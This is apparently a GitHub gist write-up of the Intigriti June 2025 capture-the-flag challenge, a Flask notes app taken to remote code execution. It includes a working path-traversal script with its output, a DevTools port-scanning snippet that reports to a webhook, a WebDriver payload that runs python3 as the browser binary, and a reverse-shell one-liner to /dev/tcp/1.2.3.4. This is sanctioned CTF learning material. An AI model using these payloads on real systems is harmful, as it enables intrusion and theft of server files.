Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active June 27, 2025 11:12
Show Gist options
  • Save Siss3l/2b332de938a9399bdbe4aacfdbe8d1b6 to your computer and use it in GitHub Desktop.
Save Siss3l/2b332de938a9399bdbe4aacfdbe8d1b6 to your computer and use it in GitHub Desktop.
Intigriti June 2025 XSS Challenge @ToGiDoG

Intigriti June 2025 XSS Challenge

Chall

Description

The solution:

  • Should not exploit 0-day or Chromium RCE;
  • Should leverage RCE on the server without sandbox;
  • Should also include the flag in the format INTIGRITI{.*};

Overview

This web challenge allows us to create some notes:

<!DOCTYPE html>
<html lang="en">
  <head>
    <title>My Notes</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="preconnect" href="https://cdnjs.cloudflare.com">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="stylesheet" href="/static/challenge_styles.css">
    <link rel="preconnect" href="https://stackpath.bootstrapcdn.com">
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
    <link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap">
  </head>
  <body>
    <div id="app">
      <div class="toast-container" v-if="showToast">
        <div class="toast-notification" :class="toastType">
          <div class="toast-content">
            <i class="toast-icon" :class="toastIcon"></i>
            <span class="toast-message">{{ message }}</span>
            <button class="toast-close" @click="hideToast"><i class="fas fa-times"></i></button>
          </div>
          <div class="toast-progress"><div class="toast-progress-bar" :style="{ width: toastProgress + '%' }"></div></div>
        </div>
      </div>
      <nav class="navbar">
        <div class="navbar-container">
          <a class="navbar-brand" href="#"><i class="fas fa-sticky-note"></i>My Notes App</a>
          <ul class="navbar-nav">
            <li v-if="isLoggedIn" class="nav-item"><a class="nav-link" href="#" @click="logout"><i class="fas fa-sign-out-alt mr-1"></i>Logout</a></li>
          </ul>
        </div>
      </nav>
      <div class="container main-content">
        <section v-if="!isLoggedIn" class="row justify-content-center fade-in">
          <div class="col-md-6">
            <div class="card">
              <div class="card-header"><h2 class="mb-0"><i class="fas fa-user-circle"></i>Login / Register</h2></div>
              <div class="card-body">
                <div class="form-group">
                  <label for="username"><i class="fas fa-user mr-1"></i>Username</label>
                  <input type="text" id="username" class="form-control" v-model="username" placeholder="Enter your username">
                </div>
                <div class="form-group">
                  <label for="password"><i class="fas fa-lock mr-1"></i>Password</label>
                  <input type="password" id="password" class="form-control" v-model="password" placeholder="Enter your password">
                </div>
                <div class="d-flex">
                  <button class="btn btn-primary mr-2" @click="login"><i class="fas fa-sign-in-alt mr-1"></i>Login</button>
                  <button class="btn btn-secondary" @click="register"><i class="fas fa-user-plus mr-1"></i>Register</button>
                </div>
              </div>
            </div>
          </div>
        </section>
        <section v-else class="fade-in">
          <div class="welcome-section">
            <div class="welcome-text">
              <h2><i class="fas fa-book"></i>Welcome, {{ username }}</h2>
              <p>Manage your notes securely in your personal instance.</p>
            </div>
            <div class="instance-info">
              <div class="instance-id"><i class="fas fa-fingerprint"></i>Instance ID: {{ instanceId }}</div>
              <div class="report-form">
                <div class="input-group">
                  <input type="text" class="form-control" v-model="visitUrl" placeholder="Enter URL to report">
                  <div class="input-group-append"><button class="btn btn-warning" @click="startBot"><i class="fas fa-bug mr-1"></i>Report</button></div>
                </div>
              </div>
            </div>
          </div>
          <div class="card mb-4">
            <div class="card-header"><h3 class="mb-0"><i class="fas fa-plus-circle"></i>Add a New Note</h3></div>
            <div class="card-body">
              <div class="form-group">
                <label for="newNote"><i class="fas fa-pen mr-1"></i>Write a note</label>
                <textarea id="newNote" class="form-control" v-model="newNote" placeholder="Type your note here" rows="3"></textarea>
                <button class="btn btn-success mt-3" @click="addNote"><i class="fas fa-save mr-1"></i>Add Note</button>
              </div><hr>
              <div class="form-group">
                <label><i class="fas fa-file-upload mr-1"></i>Upload a file to add note</label>
                <div class="custom-file">
                  <input type="file" class="custom-file-input" id="customFile" @change="uploadFile">
                  <label class="custom-file-label" for="customFile">Choose file</label>
                </div>
                <small class="form-text text-muted"><i class="fas fa-info-circle mr-1"></i>Maximum file size: 20KB</small>
              </div>
            </div>
          </div>
          <div class="card">
            <div class="card-header">
              <h3 class="mb-0"><i class="fas fa-list-alt"></i>Your Notes</h3>
            </div>
            <ul class="list-group list-group-flush">
              <li v-for="note in notes" :key="note.id" class="list-group-item d-flex justify-content-between align-items-center">
                <span class="note-content" v-html="note.content"></span>
                <button v-if="note.id" class="delete-button" @click="deleteNote(note.id)" title="Delete note"><i class="fas fa-trash-alt"></i></button>
              </li>
              <li v-if="notes.length === 0" class="list-group-item empty-state">
                <i class="fas fa-sticky-note"></i>
                <p>No notes yet. Add your first note above!</p>
              </li>
            </ul>
          </div>
        </section>
      </div>
    </div>
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/umd/popper.min.js"></script>
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>
    <script src="/static/app.js"></script>
    <script>
      $(document).ready(function() {
        $(".custom-file-input").on("change", function() {
          var fileName = $(this).val().split("\\").pop(); $(this).siblings(".custom-file-label").addClass("selected").html(fileName||"Choose file");
        });
      });
    </script>
  </body>
</html>

Recon

We list as usual the technologies used by the application:

Furthermore, this kind of challenge always screams about path traversal so we can start with that.
Any LLM scan will help to quickly find a juicy directory traversal:

  1. User Directory Construction
user_dir = get_instance_path(instance_id, "notes", current_user.username)
  • Potential Issue: If current_user.username is not sanitized, a malicious username instance like ../../etc/passwd could result in directory traversal.
  1. Downloading Files in /download/<username>/<path:filename>
user_dir = get_instance_path(instance_id, "notes", username) # uix_username_instance
response = send_from_directory(user_dir, filename, as_attachment=True)
  • Risk: The filename parameter is a Flask <path:filename>, which allows slashes and traversal. If not sanitized, this is a classic path traversal vector.

We understand that we could retrieve most of the server files locally/remotely such as /app/instances/default.db, /app/app.py, /app/static/app.js, /app/Dockerfile and so on.
We then ask the LLM to generate a testing script.py1 based on that classic attack to connect to the host to read those hard-coded files:

import http.client, json, uuid, re

HOST, PORT = "localhost", 1337
USERNAME = PASSWORD = ".." # The prompting may require several attempts
conn = http.client.HTTPSConnection("challenge-0625.intigriti.io") # http.client.HTTPConnection(HOST, PORT)
# res = conn.request("POST", "/api/register", body=json.dumps({"username": "..", "password": ".."}), headers={ "Content-Type": "application/json", "Content-Length": str(len(json.dumps({"username": "..", "password": ".."}))), "Referer": "https://challenge-0625.intigriti.io/notes", "Cookie": "INSTANCE=../" }); conn.request("POST", "/api/register", body=payload, headers=headers); res = conn.getresponse(); print(res.read())
login_payload = json.dumps({"username": USERNAME, "password": PASSWORD})
conn.request(
    "POST",
    "/api/login",
    body=login_payload,
    headers={
        "Content-Type": "application/json",
        "Content-Length": str(len(login_payload)),
        "Referer": "https://challenge-0625.intigriti.io/notes", # f"http://{HOST}:{PORT}/notes"
        "Cookie": "INSTANCE=../" # ".", "..", "./.", "..//" and so on
    }
)
response = conn.getresponse()
login_body = response.read().decode()
login_headers = response.getheaders()
login_cookies = {m.group(1): m.group(2) for k, v in login_headers if k.lower() == "set-cookie" for m in [re.match(r"([A-Za-z0-9_]+)=([^;]+)", v)] if m} # Shortened
login_cookies["INSTANCE"] = "../"
cookie_header = "; ".join(f"{k}={v}" for k, v in login_cookies.items())
boundary = "----WebKitFormBoundary" + uuid.uuid4().hex # To refresh the pages
multipart_body = (
    f"--{boundary}\r\n"
    f'Content-Disposition: form-data; name="file"; filename="filename"\r\n'
    f"Content-Type: application/octet-stream\r\n"
    f"\r\n"
).encode() + b"" + f"\r\n--{boundary}--\r\n".encode()
upload_headers = {
    "Content-Type": f"multipart/form-data; boundary={boundary}",
    "Content-Length": str(len(multipart_body)),
    "Cookie": cookie_header,
    "Accept": "application/json, text/plain, */*",
}
conn.request("POST", "/api/notes/upload", body=multipart_body, headers=upload_headers)
upload_response = conn.getresponse().read()
conn.request("GET", "/download/../Dockerfile", headers={"Cookie": cookie_header})
download_response = conn.getresponse()
print(download_response.read()) # .decode()
_ = """
{"message": "Registration successful", "success": true}
{"message": "Login successful", "success": true}
{"message": "File uploaded successfully", "success": true}
FROM python:3.13-slim
RUN apt-get update && \
    apt-get install -y wget unzip curl && \
    apt-get install -y chromium chromium-driver && \
    rm -rf /var/lib/apt/lists/*
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
# Create a non-root user to run the application
RUN groupadd -r appuser && useradd -r -g appuser -m appuser
WORKDIR /app
# Copy application files
COPY . /app

# Copy flag to a location that will be readable but not writable
RUN RANDOM_FLAG="1337fEX6Pvj2TFsP" && \
    RANDOM_FILENAME="1337X9Q2EDRFEfoj" && \
    echo "INTIGRITI{$RANDOM_FLAG}" > /flag_$RANDOM_FILENAME.txt && \
    chmod 444 /flag_$RANDOM_FILENAME.txt && \
    echo "Flag copied to /flag_$RANDOM_FILENAME.txt"
[...]
"""; conn.close()

The fun part is that it will work for existing folders too Cookie:INSTANCE=../__pycache__; (as redirecting the bot anywhere)
but won't work on /etc or /proc since there is no write access for the notes (as Permission denied:'/app/instances/../../etc/notes') folder.

Damn

Intriguing but highly Disturbing

Weird

It does not seem very logical, given the amount of source code to finish that fast?
If we have a bit of free time, we could take a look at what seemed to be the intended way.

Good ideas will come by looking at the new files created in our Docker container (and server database, as others will probably do) when we report url's to the bot:

# htop
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
    1 appuser   20   0  373110  70980  14620 S   0.0   0.0   0:00.00 python3
   60 appuser   20   0       0      0      0 Z   0.0   0.0   0:00.00 chrome_crashpad
   70 appuser   20   0       0      0      0 Z   0.0   0.0   0:00.00 chromium
   71 appuser   20   0       0      0      0 Z   0.0   0.0   0:00.00 chromium
   72 appuser   20   0       0      0      0 Z   0.0   0.0   0:00.00 chrome_crashpad
  100 appuser   20   0       0      0      0 Z   0.0   0.0   0:00.00 chromium
# tree -D
.
|-- chrome_profile
|   |-- Default
|   |   |-- Account Web Data
|   |   |-- Account Web Data-journal
|   |   |-- Affiliation Database
|   |   |-- Affiliation Database-journal
|   |   |-- AutofillStrikeDatabase
|   |   |   |-- LOCK
|   |   |   `-- LOG
|   |   |-- BookmarkMergedSurfaceOrdering
|   |   |-- Login Data
|   |   |-- Login Data For Account
|   |   |-- Login Data For Account-journal
|   |   |-- Login Data-journal
|   |   |-- Network Action Predictor
|   |   |-- Network Action Predictor-journal
|   |   |-- Network Persistent State
|   |   |-- PersistentOriginTrials
|   |   |   |-- LOCK
|   |   |   `-- LOG
|   |   |-- Preferences *
|   |   |-- PreferredApps
|   |   |-- Session Storage
|   |   |   |-- 000003.log
|   |   |   |-- CURRENT
|   |   |   |-- LOCK
|   |   |   |-- LOG
|   |   |   `-- MANIFEST-000000
|   |   |-- Shared Dictionary
|   |   |   |-- cache
|   |   |   |   |-- index
|   |   |   |   `-- index-dir
|   |   |   |       `-- the-real-index
|   |   |   |-- db
|   |   |   `-- db-journal
|   |   |-- SharedStorage
|   |   |-- Sync Data
|   |   |   `-- LevelDB
|   |   |       |-- 000003.log
|   |   |       |-- CURRENT
|   |   |       |-- LOCK
|   |   |       |-- LOG
|   |   |       `-- MANIFEST-000000
|   |   |-- Top Sites
|   |-- DevToolsActivePort *
|   |-- First Run
|   `-- segmentation_platform
|       |-- ukm_db
|       `-- ukm_db-wal
`-- notes
# cat /app/instances/aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee/chrome_profile/DevToolsActivePort
40005
/devtools/browser/aaaaaaaa-bbbb-cccc-dddd-ffffffffffff
# cat /app/instances/aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee/chrome_profile/Default/Preferences
{"alternate_error_pages":{"enabled":false},"autofill":{"enabled":false},"browser":{"check_default_browser":false},"distribution":{"import_bookmarks":false,"import_history":false,"import_search_engine":false,"make_chrome_default_for_user":false,"skip_first_run_ui":true},"dns_prefetching":{"enabled":false},"profile":{"content_settings":{"pattern_pairs":{"https://*,*":{"media-stream":{"audio":"Default","video":"Default"}}}},"default_content_setting_values":{"geolocation":1},"default_content_settings":{"geolocation":1,"mouselock":1,"notifications":1,"popups":1,"ppapi-broker":1},"password_manager_enabled":false},"safebrowsing":{"enabled":false},"search":{"suggest_enabled":false},"translate":{"enabled":false}}
# sleep 10
# cat /app/instances/aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee/chrome_profile/Default/Preferences
{"NewTabPage":{"PrevNavigationTime":"1"},"accessibility":{"captions":{"headless_caption_enabled":false,"live_caption_language":"en-US"}},"account_tracker_service_last_update":"1","alternate_error_pages":{"backup":false},"autocomplete":{"retention_policy_last_version":137},"autofill":{"last_version_deduped":137},"bookmark":{"storage_computation_last_update":"1"},"browser":{"check_default_browser":false,"window_placement":{"bottom":590,"left":10,"maximized":false,"right":790,"top":10,"work_area_bottom":600,"work_area_left":0,"work_area_right":800,"work_area_top":0}},"commerce_daily_metrics_last_update_time":"1","default_search_provider":{"guid":""},"distribution":...,"type":2,"window_count":1}],"session_data_status":5},"settings":{"force_google_safesearch":false},"signin":{"allowed":false,"cookie_clear_on_exit_migration_notice_complete":true},"sync":{"passwords_per_account_pref_migration_done":true},"syncing_theme_prefs_migrated_to_non_syncing":true,"tab_group_saves_ui_update_migrated":true,"toolbar":{"pinned_cast_migration_complete":true,"pinned_chrome_labs_migration_complete":true},"translate":{"enabled":false},"translate_site_blacklist":[],"translate_site_blocklist_with_time":{}}

Graph

Reading few articles will help us understand what we can do with Preferences and DevToolsActivePort files.

We will have arbitrary file writing via Chrome Preferences to modify the default download directory beforehand but cannot overwrite files anyway, as the bot would loose context here.

Crap

import io.ktor.client.*
import io.ktor.client.request.*
import io.ktor.client.engine.cio.*
import io.ktor.client.statement.*
import io.ktor.http.*
import kotlinx.coroutines.*
import kotlinx.serialization.*
import kotlinx.serialization.json.*


suspend fun check(x: Int, y: Int) { // "DevTools listening on ws://127.0.0.1:50010/devtools/browser/aaaaaaaa-bbbb-cccc-dddd-gggggggggggg"
  var p = x
  while (p <= y) {
    try {
      val j = awaitAll(async { send("http://localhost:$p/session") } )?.bodyAsText()?.let { Json.decodeFromString<ResponseBody>(it) }
      when {
        j?.value != null -> {
          cdp = p; send("https://webhook.com/web5?$cdp"); break // LFI
        }
      }
    } catch (_: Exception) { println(_) }
    p += 1; delay(2)
  }
}

Resolution

Relying on great old challenge exploits will help to trigger2 the bot:

body:JSON.stringify({
  "capabilities": {
    "alwaysMatch": {
      "goog:chromeOptions": {
        "binary": "/usr/local/bin/python3", // `/usr/local/bin/python3 -c "__import__('os').system(f'ls{chr(32)}/>/app/static/ls.sh')";`
          "args": ["-cimport os;os.system('cp /flag* /dev/shm/.flag');"] // `os.system('/bin/sh -i >& /dev/tcp/1.2.3.4/1234 0>&1');`
      }
    }
  }
});

There are a myriad of ways to read the flag3 46dbd7c31f3c90dad7b330eb2f4e10314c4274fbbdbf68addf042e1465a487a3 but too lazy to discover them all.

Dance

Protections

  • Better instance and traversal management;
  • Do not use Flask nor Chromium;
  • Adding Content Security Policy.

Appendix

It is not hard to imagine what a mess it would be to get all this to work properly in a real-life scenario.

ᓚᘏᗢ

Footnotes

  1. Given the moment we try to use the path traversal, the missing proxy/isolated single-instances may deny it.

  2. The Chrome DevTools Protocol and Selenium ports (with specific headers) may be bruteforced if needed.

  3. The Blake3 hashing was used.

Comments are disabled for this gist.